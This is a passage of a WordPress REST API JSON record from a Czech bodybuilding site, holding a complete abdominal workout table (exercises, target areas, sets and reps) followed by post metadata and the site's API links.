Kompletn\u00ed tr\u00e9nink b\u0159icha CVIK ZAM\u011a\u0158EN\u00dd S\u00c9RIE OPAKOV\u00c1N\u00cd Zdvihy nohou ve visu Doln\u00ed partie b\u0159icha 3 Do vy\u010derp\u00e1n\u00ed Zkracova\u010dky s\u00a0kladkou vkle\u010de s\u00a0vyto\u010den\u00edm \u0160ikm\u00e9 b\u0159i\u0161n\u00ed svaly 3 15 (na ka\u017edou stranu) Zkracova\u010dky s\u00a0kladkou vkle\u010de Horn\u00ed partie b\u0159icha 3 15 Zkracova\u010dky na lavi\u010dce hlavou dol\u016f Horn\u00ed partie b\u0159icha 3 Do vy\u010derp\u00e1n\u00ed &nbsp; &nbsp; &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":141,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-140","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=140"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/140\/revisions"}],"predecessor-version":[{"id":145,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/140\/revisions\/145"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/141"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}